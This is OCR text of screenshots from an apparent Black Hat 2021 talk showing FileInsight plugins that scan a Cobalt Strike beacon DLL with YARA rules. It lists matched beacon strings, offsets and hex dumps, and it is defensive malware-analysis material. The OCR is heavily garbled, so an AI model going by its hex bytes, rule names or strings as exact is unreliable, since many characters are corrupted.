apt_cobaltstrikeyar % (RIS

Opening a YARA rule file that
can detect Cobalt Strike beacon




v B2 Filelnsight - apt_cobaltstrike.yar - >

Plugins

-[» Operations Basic

b
e J McAfee
Crypto 4
l Plugins Encoding L4
. Mi 4
Nawvigation F'alrsscing 5 195d7eadcfl.. X X Qutput of Cu 1 basef file 7* X Output of Cu basebs Emulation trace™ y dump 0% Memory dump 1* X Memory dump 2* X Di /X EVETRTIEAEd  apt_cobaltst
: Regex extraction |0 00 4D SA ES 00 00 00 00 SB:52 45 55 89 E5 81 C3 8A (MZ [RETU [
6B 00 00 FFD3 89 C3 57!68 04 000000 50FF DO |k Wh P

Visualization Regex search

r v

YOR Replace 68 FO B5 A2 56 68 05 0000 00 50 FFD3 0000 00|h  Vh P
_____ @ adata  Checkforupdate |  XOR hex scarch 00 00 00 00 00 00 00 0000 00 00 00 E8 00 00 00
- @ .data? - OE IFBAOE OO0 B4 09 CD;21 BS 01 4C CD 21 54 68 ! L !Th
Version info XOR text search .
W ISIC 69 73 20 70 72 6F &7 7261 6D 20 63 61 6E 6E 6F |15 program canno
| o @ .reloc T4 Z05can selected region (the whole file if not selected) 4 4F 53 Z0 |£ be run in DOS
E% Imports 7 Libraries 6D &F with YARA, 0000000 |mode . 5
)RRl R P F9 OE A9 6C BD 6F C7 3F |BD 6F C7 3F BD 6F C7 3F l1 0?2 0?2 o *?
g:j e e A3 3D 43 3F 9A 6F C7 3F A3 3D 52 3FAE 6F C7 3F| =C? o 2 =R? o ?
-l Ws2_32.d1l 23 Functions A3 3D 44 3F Ce 6F C7 3F:9A A9 BC 3F B2 6F C7 3F =D® o 2 2 o ? °
5L} DNSAPLAII 2 Functions BD 6F C6 3F 6F 6F C7 3F A3 3D4E 3F OAEFC7 3F| o 200 ? =N? o 2 ExtraCted DI_I_ flle
E]'"_'J IPHLP&PI.DLL 2 Fundtions A3 3DSS5S 3FBC 6F CY7 3F A3 3D 56 3F BC 6F C7 3F =U? o ?2 v o 2
Bl Secur32.dll 3 Functions 52 69 63 68 BD 6F C7 3F;00 OO0 00 00 OO0 00 00 00 |Rich o 2
00 00 00 OO0 OO0 OO0 00 O0;50 4500 00 4C 01 05 00 PE L
42 52 31 57 0000 00 00:00 00 OO0 OO EO OD O2 21 (BR1W !
0B 01 09 00 00 2A 02 00:00 DE 00 OO OO0 OO0 OO0 OO u
CD&7010000100000:0040 02 0000000010 ) @

0010 00 OO0 OO0 OZ 00 00:05 00 OO0 OO0 00 00 00 0O . . .
05 0000 00 0000 00 O00;00 20 04 00 08

7B F4 03 0002 00 40 01:00 00 10 00 Oﬁg JF !s ru'anlng' please walt"'
00 0010 00 001000 00:!00 00 OO0 00 10 00 00 0O

00E1020051000000iD4 CFO200 A0 0000 0O Q
00 FO 03 00 B4 01 00 00:00 OO0 OO0 OO 00 0O 00 0O
00 00 00 OO0 OO OO0 00 00;00 00 04 00O E4 17 00 0O
7043 02 001C 00 O0 O0:00 00 00 OO OO0 OO0 OO0 OO |pC
go oo 00 OO0 OO 00 OO0 00:00 OO0 00 OO0 OO0 OO Q0 GO
D0 Cs 0200 40000000:00000000O000000OCOC @
po4002002C 03 000000000000 00000000D)] @ r
00 00 OO0 OO0 OCOOQO0O0O;0000000000CO0COO0O0OGO

EPQVENRENLIY B Structures [ Decode

Output

£
£ Values MelbElucus BE Calculator =] Qutput JlscRIiTals]

Press F1 for help

= 5 ; - ROl E A @

5:00 PM
87772021




v B2 Filelnsight - apt_cobaltstrike.yar - >

=[» Operations
.. Plugins

Nawvigation 960d19 defl... haseh file 1% % haseh Emulation trace*

coooooo00 EAES 00 00 89 E5 81 C3
%Sections CC 00 FF D3 00 00 50 FF
o et Exerute FO BS A2 56 FF D3 00 00
dats 00 00 00 00 00 E8 00 00
- @ .data Write 1F BA OE 00 B4 4C CD 21 54 ! L. !'Th
o BN s 73 2070 72 6F &3 &1 6E GE is program canno
Jreloc 20 82 65 20 72 20 44 47 53 t be run in DOS
Imports 7 Libraries 6F &4 &5 2E 0D o0 00 00 00 mode . 3
KERNEL32.dll 124 Functions 0E A9 6C BD 6F 3F BD 6F C7 1 o
fﬁ:‘r:gﬁ” f{f;”ﬂ”gfﬂ? 3D 43 3F 9A 6F 3F AE 6F C7 =c? o
\WS2 32,0l 25 Fonetions 3D 44 3F C6 6F 3F B2 6F C7 -D? ©
B EF C6 3F 6F 6F 3F OA 6F C7 o %00
IPHLP&PI.DLL 2 Functions 3D 55 3F BC &F 3F BC &F C7 =U? o
Secur32.dll 3 Functions 69 63 68 BD 6F o0 00 00 00 Rich o
cC 00 00 00 00 4c 01 05
52 3157 00 OO EO OO 02 21 |BR1W
01 09 00 00 cC 00 00 00
&7 01 00 00 C0 00 00 00 ] g
10 00 00 00 # VARA scan
cC 00 00 00 . .
F4 03 00 02 Fileto be scanned:  |Mew file 2*
24030002 | Scanning the DLL file
E1 02 00 51 VARA rule file: ~ . .
R o (New file 2) with the
R —— 00 00 00 00 .
BRI BE Structures [ Dec 43 02 00 1C 000 0000 00[pC YARA rule file
00 Q0 00 00 00 Q0 00 00 00
9 02 00 40 00 00 00 Q0 00
40 02 00 2C 00 00 00 Q0 00
o0 00 00 00 00 00 00 Q0 00

Plugins

% Entry Point VA Ox100167CD

|—|1—|1—|1—|1—|1—|1—|£

Output

£
' Values E:BElatyel B Calculator [=] Cutput [llsc RISl
Press F1 for help

= =t : @ @ wmlapomE A @

5:00 PM
87772021




Home Edit Search Plugins Windows Help

Filelnsight - YARA scan matches®

|+ Operations

Mavigation T ewfilel* x

X Supported for HTML, OLEZ2, PE and Flash.

YARA rule file:
Offset: 0x2a034
Offset: OxZelel
Offset: OxZelel
Offset: OxZeled
Offset: OxZelel
Offset: OxZeleb
Offset: OxZele’
Offset: OxZeled
Offset: OxZeled
Offset: OxZelea
Offset: OxZeleb
Offset: OxZelec
Offset: OxZeled
Offset: OxZelees
Offset: OxZelef
Offset: O0x2e0f0
Offset: OxZelfl
Offset: OxZelfz
Offset: O0xZ2e0f3
Offset: OxZelfd
Offset: O0x2e0fs
Offset: OxZelfo
Offset: 0x2e0f7
Offset: O0xZ2e(0fd

Offset: 0x2elfS
Nffeat = NvPalfa

EPQVENRENINY BE Structures [ Decode

Bookmarks q

Output

Scanned the whole
YARA scan matches

Output of Custorn basefd decode™ X

Scanned file: New file 2*

Mew file 1% X

apt_cobaltstrike.yar

zize:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:
size:

o1 To

file.

&

oo D0 D0 00 00 O 0O CO 0D OO 00 OO0 OO OO0 00 00 CD OO OO0 O OO 00 OO O

rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:

11l =

APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
ARPT CocbkbaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator

ZTT Mekhaslt+ S+ vile Boacan Tradde-cstar

are shown in the new "YARA scan macthes"™ tab.

Output of Custorn basefd decode™ X Emulation trace®

Memeory dump 0* X

identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:

AAdentiFiar-

Memory dump 1% X

U McAfee

Memory dump 2* X Disassembly® X Mewfile2* X apt_cobaltstrikeyar X [REGEEEIRL TS abd 4 I 5 X

matched: 737072é=e700
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:

matched:
mat o

(hex)

List of the strings matched
with the YARA rules

Please use "Windows"™ tab -> "New Vertical Tab Group" to see YARA rule, matches, and file contents side by side.

Elapsed time (scan): 0.541000

(s2c)

Added bookmarks to the search hits in New file 2%.

Elapsed time (bookmark):

=] Cutput [li5c Rl

a

0.114000

(sec)




Filelnsight - YARA scan matches®

Home Edit Search Plugins Windows

|+ Operations

Mavigation T ewfilel* x

X Supported for HTML, OLEZ2, PE and Flash. Offset -

Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:
Offset:

Help

Output of Custorn basefd decode™ X

IxZ2eclb
OxZecic
DxZeeld
IxZecle
OxZecZf
Ox2e630
Ox2ec3l
IxZ2e632
Dx2ec33
OxZ2ec3d
Ox2ec35
OxZ2e636
Ox2ec3’
Ox2ec38
0x29h7c
0x29%pz8
0x29748
DxZ29e02
0x2a070
0x2al70
0x29h7c
0x29%pz8
Ox29602
DxZ29f%98

rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:
rule:

L2 kS B2 00 0O 0D CO 00 CO 00 CO 0O CO OO OO o0 OO
e RN

[
[9a]

10 rule:
80 rule:
29 rule:
29 rule:
15 rule:

Mew file 1% X

rule:
rule:
rule:
rule:

Output of Customn basef4 decode*

APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CcbaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator
APT CobaltStrike Beacon Indicator

HETL CobaltStrike Beacon Strings

HETL CobaltStrike Beacon Strings

HETL CobaltStrike Beacon Strings

HETL CobaltStrike Beacon Strings

X Emulation trace™

tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:
tag:

HETL Win CobaltStrike
HETL Win CobaltStrike
HETL Win CobaltStrike
HETL Win CobaltStrike
HETL Win CobaltStrike

tag:
tag:
tag:
tag:
tag:

Commodity
Commodity
Commodity
Commodity
Commodity

X Memory dump 0* X

identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:
identifier:

identifier:
identifier:
identifier:
identifier:
identifier:

Sw2
5v2
Sv2
Sw2
5v2
Sw2
5v2
Sw2
5v2
Sw2
5v2
Sw2
5v2
5v2
551
551
552
553

Memory dump 1% X

matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:
matched:

Memory dump 2* X Disassembly® X Mewfile2* X apt_cobaltstrikeyar X [REGEEEIRL TS abd 4 I 5 X

11313ii3iil

$02d/%02d/%02d %02d:%02d:%02d
£02d/%02d/%02d %02d:%02d:%02d
Started service %s on %s

%s as %s\%¥s: %d

55l matched: %= (admin)

Ss2 matched: 485454502f312e3120323030204f4b0d0a436f6eT74656e7424547870653a206170706ce
523 matched: %02d4/%02d/%02d %02d:%02d:%02d

523 matched: %02d4/%02d4/%02d $02d:%02d:%02d

Ss4 matched: %s as %s\%s: %d

rule: HETL Win CckaltStrike tag: Commodity identifier: 555 matched: %s&%s=%s
rule: HETL Win CcbkaltStrike tag: Commodity identifier: $s6 matched: rijndael
rule: HETL Win CocbaltStrike tag: Commodity identifier: $s7 matched: (null)

EPQVENRENINY BE Structures [ Decode
Offset:
Offset:

2
O0x2318c : B
OxZ81bc [

Bookmarks q

Output

Scanned the whole file.

YARA scan matches are shown in the new "YARA scan macthes™ tab.

Please use "Windows"™ tab -> "New Vertical Tab Group" to see YARA rule, matches, and file contents side by side.
Elapsed time (scan): 0.541000 (sec)

Added bookmarks to the search hits in New file 2%.

Elapsed time (bookmark): 0.114000 (sec)

£ Values melbrlucus B Calculator B8 ER Scripting

-

T 5
O

13 -
L] ] oL -

™



w B2 Filelnsight - YARA scan matches* — X

Home Edit Search Plugins Windows

E Mew Horizontal Tab Group

1] Mew Vertical Tab Group ﬁe cﬁu ﬁ I%’ U HCAfeem

But This  All Properties

g L YARA scan matches® X
Newfilez 65 61 74 6520 73 657276 69 63 65 3820 25 64 |eate service: %d|a APT CobaltStrike Beacon Indicator tag: identifier: $v2 matched: iiiiiiii A
2:E::t’?‘j:"s'”tv’i‘“m“'”'m’m 00 00 0000 43 6F 75 6C1 64 20 6E 6F 74 20 73 74 Could neot st APT CobaltStrike Beacon Indicator tag: identifier: 5vZ2 matched: iiiiiiii
..... & text Execute 6172742073657276169 63 653R20256400|art service: %d APT CobaltStrike Beacon Indicator tag: identifier: $v2 matched: iiiiiiii
----- @ .rdata 46 61 69 6C 6564 2074 6F20696D 70657273 |Failed to impers APT CobaltStrike Beacon Indicator tag: identifier: 5v2 matched: iiiiiiii
- .data Write GF GE €1 74 6520 74 6F 6B €5 GE 3R 20 25 64 UDjonate token: 5d APT CckaltStrike Beacon Indicator tag: identifier: 5v2 matched: iiiiiiii
e 4eclesccesed2074 eF 206765742074 6F|Failed to get to APT CobaltStrike Beacon Indicator tag: identifier: 5v2 matched: iiiiiiii
Bv{glv 'rilof Lbror 6B 65 6E 004275 7061.7373 554143206373 ken BypassURC 1s APT CobaltStrike Beacon Indicator tag: identifier: $v2 matched: iiiiiiii
& nzp;EF:NrEL;;er;lE:M Functions 20 €6 eF 72 29 97 63 6E 64 6F 7773 203720 ¢€l) for Windows 7 Ell APT CobkaltStrike Beacon Indicator tag: idsntifier: 5v2 matched: iiiiiiii
E-| ) ADVAPI32.dIl 32 Functions 6E €4 20 6; eL 74 6> ?; oo oo UUDP =32 BF?S 27ind later fou APT CobaltStrike Beacon Indicator tag: identifier: 5v2 matched: iiiiiiii
> . : T2 65206l eC7265¢6l,64 792061 6E 206l ed4|re already an ad - T - . . et e e iaaaaas
B[ WININET.Il 10 Functions . APT CcbaltStrike Beacon Indicator tag: identifier: 5v2 matched: 1i13iiii
B+ W52 _32.dIl 23 Functions 6D €9 6E DD 6D 79 2E €4 6C €C 00 00 49 73 57 6Fmin my.dll  IsWo ADPT CobaltStrike Beacon Indicator tag: didentifier: 5v2 matched: iiiiiiii
S| DNSAPLII 2 Functions 77 36 34 50 72 6F 63 6573 73 00 00 6B 65 72 6E |w64Process kern — LEE_ —nal P rrLer PorriIiaas
£3-la} IPHLPAPLDLL 2 Functions 65 603332 0000000072 62 0000 43 6F 75 6C|el32 rb coul EPT_CobaltStr}ke_Eeacon_Ind?cator tag: ?dent?f?er. 5v2 matched: ?%?%+?%?
-\ Secur32.dil 3 Functions 64 20 6E 6F 74 20 6F 7065 6E 20 27 d not open '3%s' RPT CobaltStrike Beacon Indicator tag: identifier: Sv2 matched: iiiiiiii
25 7500 00 25 73 5C 25'73 00 00 00 23y %s\%s LN E APT CckaltStrike Beacon Indicator tag: identifier: 5v2 matched: iiiiiiii
00029R7C 5C 22000025 73 0A00'44 09 30 09! HER % g D o} : HETL CobaltStrike Beacon Strings tag: identifier: $sl matched: %02d4/%02d/%02d %02
SF 25 30 32 64 2F 25 30 32 64 20 5E” Jeoz2d/302 HETL CobaltStrike Beacon Strings tag: didentifier: 5sl matched: %02d4/%02d4/%02d %02
00029898 25 30 32 64 3A 25 30 32 64i09 25 73 % - : entifier: 5s2 matched: Started service %=
4 09 25 49 36 34 64 09,25 30 32 64 F $I¢64d %02d/%02 ntifier: 553 matched: %= as %s\%s: %d
64 2F 25 30 32 64 20 25 30 32 64 3o 25303264 |d/%02d %02d:%02d - - ~Yo ° - a ifier: %5l matched: %s (admin)
3A 253032640925 73'0AR00000057€eFr 77 36|:%502d %s Wowé ifier: S5s2 matched: 485454502f3122312032
34 44 €9 73 61 €2 6C E5 5T 6F 77 36 34 467352 |4DisableWowédFsR - ifier: 523 matched: %02d4/%02d/%02d %02d:
65 64 69 72 65 63 74 69 6F 6E 00 00 57 6F 77 36 |edirection Wowé JOU C ’ ifier: 553 matched: 302d/%02d/%02d 202d:
3452 6576 6572 74 57 6F 77 36 34 46 73 52 65 |4RevertWow64FsRe ifier: Ss4 matched: %s as $s\%s: 3d
7% Navigation ] €4 69 72 65 63 ?469 €F; 6E 00 OO[UJE3 EF 775 6C|direction coul HETL Win CobaltStrike tag: Commodity identifier: $s5 matched: %s&%s5=%s
€4 20 6E 6F 74 20 61 6C 6C 6F 63 61 74 65 20 25)d not al_}ocate ® HETL Win CcbkaltStrike tag: Commodity identifier: $s6 matched: rijndael
; 6420627574 657320 636E2070726F6365/d bytes in proce HETL Win CobkaltStrike tag: Commodity identifier: $s7 matched: (null)
T373 3202564000063 6F756C 064 206GE EF|(ss: $d could no
T4 2077 7269746520, 7T46F 2070 726F 63 65|t write to proce|w v
[ 0x2318¢ HKTL_Win_CobaltStrike S5 rijndasl ™} ¢ > < >

[ 0x281be HKTL Win_CobaltStrike $s [null)

[ 0%29602 HKTL_CobaltStrike_Beacon %:s as %

[ 0%29602 HKTL_Win_CobaltStrike S5 %5 as % -
Scanned the whole file.

(] 0x29745 HKTL CobaltStrike_Beacon Started ¢ YARA scan matches are shown in the new "YARA scan macthes" tab.

|| x?9b7c HKTL_CobaltStrike_Beacon %ﬂ?_dﬁﬂi Please use "Windows"™ tab -> "New Vertical Tab Group" to see YARA rule, matches, and file contents side by side.
[ 0x29b7c HKTL_Win_CobaltStrike $s %:02d/%( Elapsed time (scan): 0.541000 (sec)

Added bookmarks to the search hits in New file 2%.

0x29%bad HKTL_CobaltStrike_Be Se02d/5 .
J 023638 HKTL_Cobaltstrike_Beacon 7020 Flapsed time (bookmark): 0.114000 (sec)

(] 0x28ba8 HKTL_Win_Cobaltstrike Ss 5:02¢,%¢
(] 0x29f98 HKTL_Win_CobaltStrike $s %s35s=3:
[ 0x2a034 APT_CobaltStrike_Beacon_ sprng

[ 0x2a070 HETL_Win_Cobaltstrike S5 %s (admi

(] 0x2a170 HKTL_Win_CobaltStrike Ss HTTP/1.1 v il € >
b | Bookmarks 8 = [=] Output M5c



0

black hat

USA 2021

Wrap-up

* Filelnsight-plugins makes Filelnsight hex editor super powerful!
* Useful for surface analysis and manual deobfuscation in malware analysis

* If you like it, please try it! %=

-
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Thank you!

https://github.com/nmantani/Filelnsight-plugins

This slide deck uses Twemoji licensed by Twitter, Inc. under the CC-BY 4.0.
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